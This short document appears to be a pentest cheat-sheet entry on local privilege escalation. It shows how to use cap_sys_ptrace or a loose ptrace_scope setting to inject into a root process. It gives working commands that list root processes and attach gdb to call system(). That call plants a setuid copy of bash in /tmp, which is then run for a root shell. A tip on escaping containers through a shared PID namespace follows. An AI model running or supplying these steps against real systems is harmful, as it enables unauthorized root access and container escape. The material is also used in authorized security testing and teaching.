Inject into a root process with cap_sys_ptrace

The cap_sys_ptrace capability, or a permissive /proc/sys/kernel/yama/ptrace_scope, lets you attach a debugger to processes you do not own. Attach to a long-running root process and inject a call that spawns a shell.

# check ptrace scope and pick a stable root target
cat /proc/sys/kernel/yama/ptrace_scope   # 0 means unrestricted
ps -eo pid,user,comm | awk '$2=="root"'

Use gdb to make the target execute your command in its own context.

gdb -p <root_pid> -batch 
 -ex 'call (int)system("cp /bin/bash /tmp/rb;chmod +s /tmp/rb")'
/tmp/rb -p

Pro note: prefer a process that will not crash the box if it misbehaves, and restore its state where you can. On containers, CAP_SYS_PTRACE plus a shared PID namespace with the host lets you reach host processes directly, which is a full escape rather than a local privesc.